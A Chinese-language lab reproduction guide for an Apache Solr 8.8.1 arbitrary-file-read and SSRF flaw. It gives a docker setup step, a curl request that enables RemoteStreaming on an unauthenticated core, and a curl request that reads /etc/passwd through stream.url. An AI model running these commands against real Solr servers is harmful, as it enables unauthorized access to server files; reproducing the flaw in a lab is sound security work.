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Apache Solr RemoteStreaming 任意文件读取和SSRF漏洞

Apache Solr 是一个开源的搜索服务器。当 Apache Solr 未启用身份认证时攻击者可以构造请求来启用特定配置从而可能导致服务器端请求伪造SSRF或任意文件读取漏洞。

参考链接:

环境搭建

执行如下命令启动 Apache Solr 8.8.1 服务器:

docker compose up -d

服务启动后,访问 http://your-ip:8983/ 即可看到 Apache Solr 的管理界面。

漏洞复现

首先,访问http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json获取数据库名:

发送以下请求来修改 demo 核心的配置并启用 RemoteStreaming

curl -i -s -k -X $'POST' \
     -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
     $'http://your-ip:8983/solr/demo/config'

然后,你可以通过 stream.url 参数读取任意文件:

curl -i -s -k 'http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'